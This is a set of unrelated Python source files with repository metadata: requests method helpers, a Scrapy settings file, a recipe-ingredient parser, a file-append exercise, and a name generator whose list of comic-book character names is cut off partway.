kwargs.setdefault("allow_redirects", True) return request("options", url, **kwargs) def head(url, **kwargs): r"""Sends a HEAD request. :param url: URL for the new :class:`Request` object. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ kwargs.setdefault("allow_redirects", False) return request("head", url, **kwargs) def post(url, data=None, json=None, **kwargs): r"""Sends a POST request. :param url: URL for the new :class:`Request` object. :param data: (optional) Dictionary, list of tuples, bytes, or file-like object to send in the body of the :class:`Request`. :param json: (optional) json data to send in the body of the :class:`Request`. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ return request("post", url, data=data, json=json, **kwargs) def put(url, data=None, **kwargs): r"""Sends a PUT request. :param url: URL for the new :class:`Request` object. :param data: (optional) Dictionary, list of tuples, bytes, or file-like object to send in the body of the :class:`Request`. :param json: (optional) json data to send in the body of the :class:`Request`. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ return request("put", url, data=data, **kwargs) def patch(url, data=None, **kwargs): r"""Sends a PATCH request. :param url: URL for the new :class:`Request` object. :param data: (optional) Dictionary, list of tuples, bytes, or file-like object to send in the body of the :class:`Request`. :param json: (optional) json data to send in the body of the :class:`Request`. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ return request("patch", url, data=data, **kwargs) def delete(url, **kwargs): r"""Sends a DELETE request. :param url: URL for the new :class:`Request` object. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ return request("delete", url, **kwargs)
[ "aitoehigie@gmail.com" ]
aitoehigie@gmail.com
814cbdab73818496ae33f465eb65ca4f4532978a
17a2963202dd4a8261b0db0629f44eb4ec0a87cb
/scrapy_demo/settings.py
ca5d73c2f759db3b38ecbb011c997b69296f1b1e
[]
no_license
maketubu7/scrapy_demo
61089fe75444b3156dfc0dfd5f6fd363f7353901
1c0c36dadeae68032841453eba0ebf031665993b
refs/heads/master
2023-01-06T18:04:07.246431
2020-11-11T09:03:21
2020-11-11T09:03:21
311,916,208
0
0
null
null
null
null
UTF-8
Python
false
false
3,310
py
# -*- coding: utf-8 -*- # Scrapy settings for scrapy_demo project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://docs.scrapy.org/en/latest/topics/settings.html # https://docs.scrapy.org/en/latest/topics/downloader-middleware.html # https://docs.scrapy.org/en/latest/topics/spider-middleware.html BOT_NAME = 'scrapy_demo' DOWNLOAD_TIMEOUT = 500 RETRY_ENABLED = True #打开重试开关 RETRY_TIMES = 3 #重试次数 RETRY_HTTP_CODES = [429,404,403] #重试 SPIDER_MODULES = ['scrapy_demo.spiders'] NEWSPIDER_MODULE = 'scrapy_demo.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'scrapy_demo (+http://www.yourdomain.com)' # Obey robots.txt rules ROBOTSTXT_OBEY = True # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs #DOWNLOAD_DELAY = 3 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) #COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: #DEFAULT_REQUEST_HEADERS = { # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Language': 'en', #} # Enable or disable spider middlewares # See https://docs.scrapy.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'scrapy_demo.middlewares.ScrapyDemoSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html DOWNLOADER_MIDDLEWARES = { 'scrapy_demo.middlewares.RandomUserAgentMiddleware': 543, 'scrapy_demo.middlewares.ProxyMiddleware': 541, } # Enable or disable extensions # See https://docs.scrapy.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See https://docs.scrapy.org/en/latest/topics/item-pipeline.html ITEM_PIPELINES = { 'scrapy_demo.pipelines.ScrapyDemoPipeline': 300, } # Enable and configure the AutoThrottle extension (disabled by default) # See https://docs.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'
[ "601176930@qq.com" ]
601176930@qq.com
7b17232de8954cc217c0c9269ed8caaa1ba4fe8e
f8daf3972d5820945172005659cf0d7dfc1086d6
/trunk/python/feeding_modules/ingredients_by_dish_storage.py
eebe000ad27c25161a32a1e31dcb2633288d3cb4
[]
no_license
BGCX067/family-feeding-svn-to-git
ec2645a1f36da717783bf21b42e1227588c20de5
bece6a73d4b6be9b29480c2bc7690b7e5e6961a4
refs/heads/master
2016-09-01T08:58:00.414527
2015-12-28T14:36:42
2015-12-28T14:36:42
48,759,877
0
0
null
null
null
null
UTF-8
Python
false
false
3,087
py
class ingredients_by_dish_storage : def __init__ ( self ) : self . _ingredients_by_dish = None self . _consts = None self . _re = None def set_modules ( self , consts , re ) : self . _consts = consts self . _re = re def get ( self ) : return self . _ingredients_by_dish def dish_ingredient_unit_amount ( self , dish , ingredient ) : units_amounts = { } if dish in self . _ingredients_by_dish : if ingredient in self . _ingredients_by_dish [ dish ] : for unit , amount in self . _ingredients_by_dish [ dish ] [ ingredient ] . items ( ) : if unit not in units_amounts : units_amounts [ unit ] = float ( 0 ) units_amounts [ unit ] += float ( amount ) return units_amounts def dish_ingredients ( self , dish ) : ingredients = set ( ) if dish in self . _ingredients_by_dish : ingredients = set ( self . _ingredients_by_dish [ dish ] . keys ( ) ) return ingredients def all_ingredients ( self ) : ingredients = set ( ) for dish , dish_ingredients in self . _ingredients_by_dish . items ( ) : ingredients = ingredients . union ( set ( dish_ingredients . keys ( ) ) ) return ingredients def all_dishes ( self ) : return set ( self . _ingredients_by_dish . keys ( ) ) def load ( self ) : wiki_file_name = self . _consts . wiki_path + self . _consts . ingredients_by_dish_file_name + self . _consts . dot_wiki try : wiki_contents = open ( wiki_file_name , self . _consts . open_file_for_read ) . readlines ( ) except IOError : wiki_contents = [ ] self . _ingredients_by_dish = { } current_dish = unicode ( ) for wiki_line in wiki_contents : unicode_wiki_line = wiki_line . decode ( self . _consts . utf8 ) match = self . _re . match ( self . _consts . header_regexp , unicode_wiki_line , self . _re . UNICODE ) if match : current_dish = match . group ( 1 ) . lower ( ) if current_dish not in self . _ingredients_by_dish : self . _ingredients_by_dish [ current_dish ] = { } match = self . _re . match ( self . _consts . ingredient_amount_list_regexp , unicode_wiki_line , self . _re . UNICODE ) if match : ingredient = match . group ( 1 ) . lower ( ) amount = float ( match . group ( 2 ) ) unit = match . group ( 3 ) . lower ( ) if ingredient not in self . _ingredients_by_dish [ current_dish ] : self . _ingredients_by_dish [ current_dish ] [ ingredient ] = { } if unit not in self . _ingredients_by_dish [ current_dish ] [ ingredient ] : self . _ingredients_by_dish [ current_dish ] [ ingredient ] [ unit ] = float ( 0 ) self . _ingredients_by_dish [ current_dish ] [ ingredient ] [ unit ] += amount
[ "you@example.com" ]
you@example.com
7d5ccfce3809cde8fda8b2041c7df122dd0d1231
7fdf76ac241714a223ae049278287fd33cab2769
/40-practical.py
4a8fdd8c95b0f6c912f853a0a27fbb98af508515
[]
no_license
ajaybhatia/python-practical-2020
9c0aa15c8e3985f4af6716028af0332e58780554
6e8310a84a0f18427c248efaf179ff76f50414e3
refs/heads/master
2023-01-19T13:45:26.335828
2020-11-20T05:03:41
2020-11-20T05:03:41
292,453,610
0
1
null
null
null
null
UTF-8
Python
false
false
643
py
''' Practical 40 Construct a Python program to write and append text to a file and display the text. ''' from os import getcwd filename = "/tmp/names.txt" try: file = open(filename, "a") # Write names in a file "/tmp/names.txt" while True: name = input("Enter a name: ") if name == "0": break file.write(name + "\n") file.close() # Read file contents and print them on screen print(f"{filename} contains following contents:") print("----------------------------------------\n") file = open(filename, "r") print(file.read()) except FileNotFoundError: print(f"'{filename}' do not exists on {getcwd()}")
[ "prof.ajaybhatia@gmail.com" ]
prof.ajaybhatia@gmail.com
ef5c24a0d0c18c06e23c7db374ac4f6af751b438
452b8b849e080cda5a26f4018cafa5a674ff7c20
/froide/helper/name_generator.py
b3a67721dc0a99fdd616b9935f0d95ffd05978ec
[ "MIT" ]
permissive
okffi/tietopyynto
1262dcaf748c41b49be4a774be552fc75fc9b336
66b7e7dbf3c3395d79af3da85b3b58f01fad62dc
refs/heads/tietopyynto
2021-01-17T21:07:04.829856
2016-10-30T19:26:53
2016-10-30T19:26:53
14,255,294
3
2
MIT
2021-01-05T11:51:18
2013-11-09T10:19:16
Python
UTF-8
Python
false
false
41,989
py
import random import hashlib from django.conf import settings NAMES = [u'3_d_man', u'alars', u'aardwolf', u'abdul_alhazred', u'abe_brown', u'abigail_brand', u'abner_jenkins', u'abner_little', u'abominable_snowman', u'abomination', u'abominatrix', u'abraham_cornelius', u'abraxas', u'absalom', u'absorbing_man', u'abyss', u'access', u'achebe', u'achelous', u'achilles', u'acrobat', u'adam_ii', u'adam_warlock', u'adam_x', u'adaptoid', u'administrator', u'adonis', u'adrenazon', u'adri_nital', u'adrian_corbo', u'adrian_toomes', u'adrienne_frost', u'adversary', u'advisor', u'aegis', u'aelfyre_whitemane', u'aero', u'aftershock', u'agamemnon', u'agamotto', u'agatha_harkness', u'aged_genghis', u'agent', u'agent_axis', u'agent_cheesecake', u'agent_x', u'agent_zero', u'aggamon', u'aginar', u'agon', u'agony', u'agron', u'aguja', u'ahab', u'ahmet_abdol', u'ahura', u'air_walker', u'airborne', u'aireo', u'airstrike', u'ajak', u'ajax', u'ajaxis', u'akasha', u'akhenaten', u'al_mackenzie', u'alaris', u'albert', u'albino', u'albion', u'alchemy', u'alcmena', u'aldebron', u'aleksander_lukin', u'aleksei_sytsevich', u'aleta_ogord', u'alex', u'alex_hayden', u'alex_power', u'alex_wilder', u'alexander_bont', u'alexander_goodwin_pierce', u'alexander_lexington', u'alexander_summers', u'alfie_omeggan', u'algrim_the_strong', u'alibar', u'alicia_masters', u'alistair_smythe', u'alistaire_stuart', u'aliyah_bishop', u'alkhema', u'all_american', u'allatou', u'allison_blaire', u'alpha_ray', u'alpha_the_ultimate_mutant', u'alyosha_kravinoff', u'alysande_stuart', u'alyssa_moy', u'amahl_farouk', u'amalgam', u'amanda_sefton', u'amatsu_mikaboshi', u'amazon', u'amber_hunt', u'amelia_voght', u'amergin', u'american_ace', u'american_dream', u'american_eagle', u'american_samurai', u'americop', u'ameridroid', u'amiko_kobayashi', u'amina_synge', u'aminedi', u'ammo', u'amphibian', u'amphibion', u'amphibius', u'amun', u'anaconda', u'anais', u'analyzer', u'anarchist', u'ancient_one', u'andreas_von_strucker', u'andrew_chord', u'andrew_gervais', u'android_man', u'andromeda', u'anelle', u'angar_the_screamer', u'angel', u'angel_dust', u'angel_face', u'angel_salvadore', u'angela_cairn', u'angela_del_toro', u'angelica_jones', u'angelo_unuscione', u'angler', u'ani_mator', u'animus', u'ankhi', u'annalee', u'anne_marie_cortez', u'annex', u'annie_ghazikhanian', u'annihilus', u'anole', u'anomalito', u'anomaloco', u'anomaly', u'answer', u'ant_man', u'anthropomorpho', u'anti_cap', u'anti_phoenix_force', u'anti_venom', u'anti_vision', u'antimatter', u'antiphon_the_overseer', u'antonio', u'anubis', u'anvil', u'anything', u'apache_kid', u'apalla', u'ape', u'ape_man', u'ape_x', u'apocalypse', u'apollo', u'apryll', u'aquarian', u'aquarius', u'aqueduct', u'arabian_knight', u'arachne', u'aragorn', u'araki', u'aralune', u'arana', u'arc', u'arcade', u'arcademan', u'arcanna', u'archangel', u'archenemy', u'archer', u'archie_corrigan', u'archimage', u'architect', u'arclight', u'arcturus_rann', u'ardina', u'ardroman', u'arena', u'ares', u'argo', u'argus', u'ariann', u'arides', u'ariel', u'aries', u'arishem_the_judge', u'arize', u'arizona_annie', u'arkady_rossovich', u'arkon', u'arkus', u'arlette_truffaut', u'arlok', u'armadillo', u'armageddon', u'armand_martel', u'armor', u'armory', u'arnim_zola', u'arno_stark', u'arranger', u'arsenal', u'arsenic', u'artemis', u'arthur_parks', u'artie', u'artie_maddicks', u'arturo_falcones', u'asbestos_lady', u'asbestos_man', u'ashcan', u'asmodeus', u'asp', u'assassin', u'asteroth', u'astra', u'astrid_bloom', u'astron', u'astronomer', u'asylum', u'atalanta', u'atalon', u'athena', u'atlas', u'atleza', u'atom_bob', u'atom_smasher', u'att_lass', u'attuma', u'atum', u'aunt_may_parker', u'auntie_freeze', u'auric', u'aurora', u'authority', u'autolycus', u'avalanche', u'avarrish', u'awesome_android', u'axum', u'azazel', u'baal', u'balder', u'balor', u'balthakk', u'bandit', u'banshee', u'bantam', u'baphomet', u'barbarus', u'barnacle', u'baron_blood', u'baron_brimstone', u'baron_macabre', u'baron_mordo', u'baron_samedi', u'baron_strucker', u'baron_von_blitzschlag', u'baron_zemo', u'baroness_blood', u'barracuda', u'bart_hamilton', u'base', u'basil_sandhurst', u'basilisk', u'bast', u'bastion', u'batragon', u'batroc_the_leaper', u'battering_ram', u'battleaxe', u'battlestar', u'battletide', u'batwing', u'beast', u'beautiful_dreamer', u'bedlam', u'bedlam_ii', u'beetle', u'beetle_ii', u'behemoth', u'bela', u'belasco', u'belathauzer', u'bella_donna', u'ben_parker', u'ben_reilly', u'ben_urich', u'benazir_kaur', u'benedict_kine', u'bengal', u'benjamin_jacob_grimm', u'bennet_du_paris', u'benny_beckley', u'bentley_wittman', u'bereet', u'berzerker', u'bes', u'beta_ray_bill', u'bethany_cabe', u'betty_brant', u'betty_brant_leeds', u'betty_ross_banner', u'bevatron', u'beyonder', u'bi_beast', u'bible_john', u'big_bertha', u'big_man', u'big_wheel', u'bill_foster', u'binary', u'bird_brain', u'bird_man', u'bishop', u'bison', u'bizarnage', u'black_bolt', u'black_box', u'black_cat', u'black_crow', u'black_death', u'black_dragon', u'black_fox', u'black_goliath', u'black_jack_tarr', u'black_king', u'black_knight', u'black_lama', u'black_mamba', u'black_marvel', u'black_panther', u'black_queen', u'black_talon', u'black_tarantula', u'black_tom_cassidy', u'black_widow', u'blackbird', u'blackheart', u'blackheath', u'blacklash', u'blackout', u'blackwing', u'blackwulf', u'blade', u'blaquesmith', u'blastaar', u'blaze', u'blazing_skull', u'blind_faith', u'blind_justice', u'blindside', u'blindspot', u'bling', u'blink', u'blistik', u'blitziana', u'blitzkrieger', u'blizzard', u'blizzard_ii', u'blob', u'blockbuster', u'bloke', u'blonde_phantom', u'blood_brothers', u'blood_rose', u'blood_spider', u'bloodaxe', u'bloodhawk', u'bloodlust', u'bloodlust_ii', u'bloodscream', u'bloodshed', u'bloodsport', u'bloodstorm', u'bloodtide', u'bloodwraith', u'blowhard', u'blue_bullet', u'blue_diamond', u'blue_marvel', u'blue_shield', u'blue_streak', u'blur', u'bob', u'bob_diamond', u'bobster', u'bogeyman', u'bombshell', u'boneyard', u'bonita_juarez', u'boobytrap', u'book', u'boom_boom', u'boom_boy', u'boomer', u'boomerang', u'boomslang', u'boost', u'bora', u'bounty', u'bounty_hunter', u'bova', u'box', u'box_iv', u'brain_cell', u'brain_drain', u'brain_child', u'brainchild', u'bram_velsing', u'brass', u'bres', u'brian_braddock', u'brian_falsworth', u'brigade', u'briquette', u'brother_nature', u'brother_tode', u'brother_voodoo', u'brothers_grimm', u'bruiser', u'brunnhilda', u'brutacus', u'brute_i', u'brute_ii', u'brute_iii', u'brynocki', u'bucky', u'bucky_iii', u'bug', u'bulldozer', u'bullet', u'bullseye', u'burner', u'burstarr', u'bushman', u'bushmaster', u'bushwacker', u'butterball', u'buzz', u'buzzard', u'byrrah', u'caber', u'cable', u'cadaver', u'cagliostro', u'caiera', u'caiman', u'cain', u'cain_marko', u'caleb_alexander', u'caliban', u'callisto', u'calvin_rankin', u'calypso', u'cameron_hodge', u'canasta', u'cancer', u'candra', u'cannonball', u'cannonball_i', u'cap_n_hawk', u'caprice', u'capricorn', u'captain_america', u'captain_atlas', u'captain_barracuda', u'captain_britain', u'captain_fate', u'captain_germany', u'captain_marvel', u'captain_omen', u'captain_savage', u'captain_uk', u'captain_ultra', u'captain_universe', u'captain_wings', u'captain_zero', u'cardiac', u'cardinal', u'caregiver', u'caretaker', u'carl_crusher_creel', u'carlos_lobo', u'carmella_unuscione', u'carmilla_black', u'carnage', u'carnivore', u'carolyn_parmenter', u'carolyn_trainer', u'carrie_alexander', u'carrion', u'carter_ghazikhanian', u'cassandra_nova', u'cassie_lang', u'cassiopea', u'cat', u'cat_man', u'catiana', u'cayman', u'cecelia_reyes', u'cecilia_reyes', u'celestial_madonna', u'centennial', u'centurion', u'centurious', u'centurius', u'cerberus', u'cerebra', u'cerise', u'cessily_kincaid', u'cethlann', u'chod', u'chaka', u'challenger', u'chamber', u'chameleon', u'champion_of_the_universe', u'chan_luichow', u'chance', u'changeling', u'chaos', u'charcoal', u'charles_xavier', u'charlie_27', u'charon', u'chase_stein', u'cheetah', u'chemistro', u'chen_lu', u'chi_demon', u'chief_examiner', u'chimera', u'chloe_tran', u'choice', u'chondu_the_mystic', u'christopher_summers', u'chrome', u'chronos', u'chthon', u'chtylok', u'citizen_v', u'claire_voyant', u'claudette_st_croix', u'clea', u'clearcut', u'cletus_kasady', u'clint_barton', u'clive', u'cloak', u'cloud', u'cloud_9', u'clown', u'coach', u'coachwhip', u'cobalt_man', u'cobra', u'cody_mushumanski_gun_man', u'cold_war', u'coldblood', u'coldfire', u'collective_man', u'collector', u'colleen_wing', u'colonel', u'colonel_america', u'colossus', u'comet', u'comet_man', u'commander_kraken', u'commando', u'conan_the_barbarian', u'condor', u'conquer_lord', u'conquest', u'conquistador', u'conrad_josten', u'constrictor', u'contemplator', u'contessa', u'contrary', u'controller', u'copperhead', u'copycat', u'coral', u'cordelia_frost', u'cornelius_van_lunt', u'corona', u'corruptor', u'corsair', u'cottonmouth', u'count_abyss', u'count_nefaria', u'courier', u'cowgirl', u'crazy_eight', u'crime_master', u'crime_buster', u'crimebuster', u'crimson', u'crimson_cavalier', u'crimson_commando', u'crimson_cowl', u'crimson_craig', u'crimson_daffodil', u'crimson_dynamo', u'crimson_dynamo_v', u'crimson_and_the_raven', u'crippler', u'crooked_man', u'crossbones', u'crossfire', u'crown', u'crucible', u'crusader', u'crusher', u'crystal', u'curtis_connors', u'cutthroat', u'cybele', u'cybelle', u'cyber', u'cyborg_x', u'cyclone', u'cyclops', u'cypher', u'dken', u'dspayre', u'd_man', u'dj', u'dagger', u'daisy_johnson', u'dakimh_the_enchanter', u'dakota_north', u'damballah', u'damion_hellstrom', u'damon_dran', u'dan_ketch', u'danger', u'daniel_rand', u'danielle_moonstar', u'dansen_macabre', u'danvers_carol', u'daredevil', u'dark_angel', u'dark_beast', u'dark_phoenix', u'dark_crawler', u'darkdevil', u'darkhawk', u'darkoth', u'darkstar', u'david_cannon', u'daytripper', u'dazzler', u'deacon_frost', u'dead_girl', u'deadhead', u'deadly_ernest', u'deadpool', u'death', u'death_adder', u'deaths_head', u'deaths_head_ii', u'death_stalker', u'deathbird', u'deathlok', u'deathstroke', u'deathurge', u'deathwatch', u'deborah_ritter', u'debra_whitman', u'decay', u'decay_ii', u'defensor', u'delilah', u'delphi', u'delphine_courtney', u'dementia', u'demiurge', u'demogoblin', u'demogorge_the_god_eater', u'demolition_man', u'derrick_slegers_speed', u'desmond_pitt', u'destiny', u'destroyer', u'destroyer_of_demons', u'devastator', u'devil_dinosaur', u'devil_hunter_gabriel', u'devil_slayer', u'devos_the_devastator', u'diablo', u'diamanda_nero', u'diamond_lil', u'diamondback', u'diamondhead', u'digitek', u'dionysus', u'dirtnap', u'discus', u'dittomaster', u'dmitri_bukharin', u'dmitri_smerdyakov', u'doc_samson', u'doctor_anthony_droom', u'doctor_arthur_nagan', u'doctor_bong', u'doctor_demonicus', u'doctor_doom', u'doctor_dorcas', u'doctor_droom', u'doctor_druid', u'doctor_faustus', u'doctor_glitternight', u'doctor_leery', u'doctor_minerva', u'doctor_octopus', u'doctor_spectrum', u'doctor_strange', u'doctor_sun', u'domina', u'dominic_fortune', u'dominic_petros', u'domino', u'dominus', u'domo', u'don_fortunato', u'donald_donny_gill', u'donald_pierce', u'donald_ritter', u'doop', u'doorman', u'doppelganger', u'doppleganger', u'dorma', u'dormammu', u'double_helix', u'doug_ramsey', u'doug_and_jerry', u'dougboy', u'doughboy', u'douglas_birely', u'douglas_ramsey', u'douglock', u'dr_john_grey', u'dr_lemuel_dorcas', u'dr_marla_jameson', u'dr_otto_octavius', u'dracula', u'dragon_lord', u'dragon_man', u'dragon_of_the_moon', u'dragoness', u'dragonfly', u'dragonwing', u'drax_the_destroyer', u'dreadknight', u'dreadnought', u'dream_weaver', u'dreaming_celestial', u'dreamqueen', u'dredmund_druid', u'dromedan', u'druid', u'druig', u'dum_dum_dugan', u'dusk', u'dust', u'dweller_in_darkness', u'dyna_mite', u'earth_lord', u'earthquake', u'ebenezer_laughton', u'ebon_seeker', u'echo', u'ecstasy', u'ectokid', u'eddie_brock', u'edward_ned_buckman', u'edwin_jarvis', u'eel', u'egghead', u'ego_the_living_planet', u'el_aguila', u'el_muerto', u'elaine_grey', u'elathan', u'electric_eve', u'electro', u'electrocute', u'electron', u'eleggua', u'elektra', u'elektra_natchios', u'elektro', u'elf_with_a_gun', u'elfqueen', u'elias_bogan', u'eliminator', u'elixir', u'elizabeth_betsy_braddock', u'elizabeth_twoyoungmen', u'ellie_phimster', u'elsie_dee', u'elven', u'elysius', u'emil_blonsky', u'emma_frost', u'empath', u'empathoid', u'emplate', u'en_sabah_nur', u'enchantress', u'energizer', u'enforcer', u'enigma', u'ent', u'entropic_man', u'eon', u'epoch', u'equilibrius', u'equinox', u'ereshkigal', u'erg', u'eric_slaughter', u'eric_williams', u'eric_the_red', u'erik_josten', u'erik_killmonger', u'erik_magnus_lehnsherr', u'ernst', u'eros', u'eshu', u'eson_the_searcher', u'eternal_brain', u'eternity', u'ethan_edwards', u'eugene_judd', u'ev_teel_urizen', u'evangeline_whedon', u'ever', u'everett_thomas', u'everyman', u'evilhawk', u'executioner', u'exodus', u'exploding_man', u'exterminator', u'ezekiel', u'ezekiel_sims', u'ezekiel_stane', u'fabian_cortez', u'fafnir', u'fagin', u'falcon', u'fallen_one', u'famine', u'fan_boy', u'fandral', u'fang', u'fantasia', u'fantastic_four', u'fantomex', u'farallah', u'fasaud', u'fashima', u'fatale', u'fateball', u'father_time', u'fault_zone', u'fearmaster', u'feedback', u'felicia_hardy', u'feline', u'fenris', u'fenris_wolf', u'fer_de_lance', u'feral', u'feron', u'fever_pitch', u'fight_man', u'fin', u'fin_fang_foom', u'firearm', u'firebird', u'firebolt', u'firebrand', u'firefrost', u'firelord', u'firepower', u'firestar', u'fixer', u'fixx', u'flag_smasher', u'flambe', u'flash_thompson', u'flatman', u'flex', u'flint_marko', u'flubber', u'fly', u'flygirl', u'flying_tiger', u'foggy_nelson', u'fontanelle', u'foolkiller', u'forbush_man', u'force', u'forearm', u'foreigner', u'forge', u'forgotten_one', u'foxfire', u'frank_castle', u'frank_drake', u'frank_payne', u'frank_simpson', u'frankensteins_monster', u'frankie_raye', u'frankie_and_victoria', u'franklin_hall', u'franklin_richards', u'franklin_storm', u'freak', u'freak_of_science', u'freakmaster', u'freakshow', u'fred_myers', u'frederick_slade', u'free_spirit', u'freedom_ring', u'frenzy', u'frey', u'frigga', u'frog_man', u'fury', u'fusion', u'futurist', u'g_force', u'gabe_jones', u'gabriel_summers', u'gabriel_the_air_walker', u'gaea', u'gaia', u'gailyn_bailey', u'galactus', u'galaxy_master', u'gambit', u'gammenon_the_gatherer', u'gamora', u'ganymede', u'gardener', u'gargantua', u'gargantus', u'gargouille', u'gargoyle', u'garokk_the_petrified_man', u'garrison_kane', u'gatecrasher', u'gateway', u'gauntlet', u'gavel', u'gaza', u'gazelle', u'gazer', u'geb', u'gee', u'geiger', u'geirrodur', u'gemini', u'general_orwell_taylor', u'genis_vell', u'george_stacy', u'george_tarleton', u'george_washington_bridge', u'georgianna_castleberry', u'gertrude_yorkes', u'ghaur', u'ghost', u'ghost_dancer', u'ghost_girl', u'ghost_maker', u'ghost_rider', u'ghost_rider_2099', u'ghoul', u'giant_man', u'gibbon', u'gibborim', u'gideon', u'gideon_mace', u'giganto', u'gigantus', u'gin_genie', u'gladiator', u'gladiatrix', u'glamor', u'glenn_talbot', u'glitch', u'glob', u'glob_herman', u'gloom', u'glorian', u'goblin_queen', u'goblyn', u'godfrey_calthrop', u'gog', u'goldbug', u'golden_archer', u'golden_girl', u'golden_oldie', u'goldeneye', u'golem', u'goliath', u'gomi', u'googam', u'gorgeous_george', u'gorgilla', u'gorgon', u'gorilla_girl', u'gorilla_man', u'gorr', u'gosamyr', u'grand_director', u'grandmaster', u'grappler', u'grasshopper', u'grasshopper_ii', u'graviton', u'gravity', u'graydon_creed', u'great_gambonnos', u'great_video', u'green_goblin', u'green_goblin_iv', u'greer_grant', u'greer_grant_nelson', u'gregor_shapanka', u'gregory_gideon', u'gremlin', u'grenade', u'grey_gargoyle', u'grey_king', u'griffin', u'grim_hunter', u'grim_reaper', u'grizzly', u'grog_the_god_crusher', u'gronk', u'grotesk', u'groundhog', u'growing_man', u'guardsman', u'guido_carosella', u'gunthar_of_rigel', u'gwen_stacy', u'gypsy_moth', u'herbie', u'hack', u'hag', u'hairbag', u'halflife', u'halloween_jack', u'hamilton_slade', u'hammer_harrison', u'hammer_and_anvil', u'hammerhead', u'hangman', u'hank_mccoy', u'hank_pym', u'hanna_levy', u'hannah_levy', u'hannibal_king', u'harald_jaekelsson', u'hardcase', u'hardcore', u'hardnose', u'hardshell', u'hardwire', u'hargen_the_measurer', u'harmonica', u'harness', u'harold_happy_hogan', u'harold_h_harold', u'harpoon', u'harpy', u'harrier', u'harry_leland', u'harry_osborn', u'hate_monger', u'haven', u'havok', u'hawkeye', u'hawkeye_ii', u'hawkshaw', u'haywire', u'hazard', u'hazmat', u'headknocker', u'headlok', u'heart_attack', u'heather_cameron', u'hebe', u'hecate', u'hector', u'heimdall', u'heinrich_zemo', u'hela', u'helio', u'hellcat', u'helleyes', u'hellfire', u'hellion', u'hellrazor', u'helmut_zemo', u'henry_hank_mccoy', u'henry_peter_gyrich', u'hensley_fargus', u'hephaestus', u'hepzibah', u'her', u'hera', u'herbert_edgar_wyndham', u'hercules', u'herman_schultz', u'hermes', u'hermod', u'hero', u'hero_for_hire', u'herr_kleiser', u'hideko_takata', u'high_evolutionary', u'high_tech', u'hijacker', u'hildegarde', u'him', u'hindsight_lad', u'hippolyta', u'hisako_ichiki', u'hit_maker', u'hitman', u'hobgoblin', u'hobgoblin_ii', u'hoder', u'hogun', u'holly', u'honcho', u'honey_lemon', u'hood', u'hornet', u'horus', u'howard_the_duck', u'hrimhari', u'hub', u'hugh_jones', u'hulk', u'hulk_2099', u'hulkling', u'human_cannonball', u'human_fly', u'human_robot', u'human_top', u'human_top_ii', u'human_torch', u'human_torch_ii', u'humbug', u'humus_sapien', u'huntara', u'hurricane', u'husk', u'hussar', u'hybrid', u'hybrid_ii', u'hyde', u'hydro', u'hydro_man', u'hydron', u'hyperion', u'hyperkind', u'hyperstorm', u'hypnotia', u'hyppokri', u'isaac', u'icarus', u'iceman', u'icemaster', u'idunn', u'iguana', u'ikaris', u'ikonn', u'ikthalon', u'illusion', u'illyana_rasputin', u'immortus', u'impala', u'imperial_hydra', u'impossible_man', u'impulse', u'in_betweener', u'indech', u'indra', u'inertia', u'infamnia', u'infant_terrible', u'infectia', u'inferno', u'infinity', u'interloper', u'invisible_girl', u'invisible_woman', u'inza', u'ion', u'iridia', u'iron_cross', u'iron_fist', u'iron_lad', u'iron_maiden', u'iron_man', u'iron_man_2020', u'iron_monger', u'ironclad', u'isaac_christians', u'isaiah_bradley', u'isbisa', u'isis', u'ivan_kragoff', u'j_jonah_jameson', u'j2', u'jack_flag', u'jack_frost', u'jack_kirby', u'jack_olantern', u'jack_power', u'jack_of_hearts', u'jack_in_the_box', u'jackal', u'jackdaw', u'jackhammer', u'jackpot', u'jackson_arvad', u'jacob_jake_fury', u'jacqueline_falsworth', u'jacques_duquesne', u'jade_dragon', u'jaeger', u'jaguar', u'jamal_afari', u'james_jimmy_marks', u'james_dr_power', u'james_howlett', u'james_jaspers', u'james_madrox', u'james_proudstar', u'james_rhodes', u'james_sanders', u'jamie_braddock', u'jane_foster', u'jane_kincaid', u'janet_van_dyne', u'jann', u'janus', u'jared_corbo', u'jarella', u'jaren', u'jason', u'jawynn_dueck_the_iron_christian_of_faith', u'jazz', u'jean_dewolff', u'jean_grey', u'jean_grey_summers', u'jean_paul_beaubier', u'jeanne_marie_beaubier', 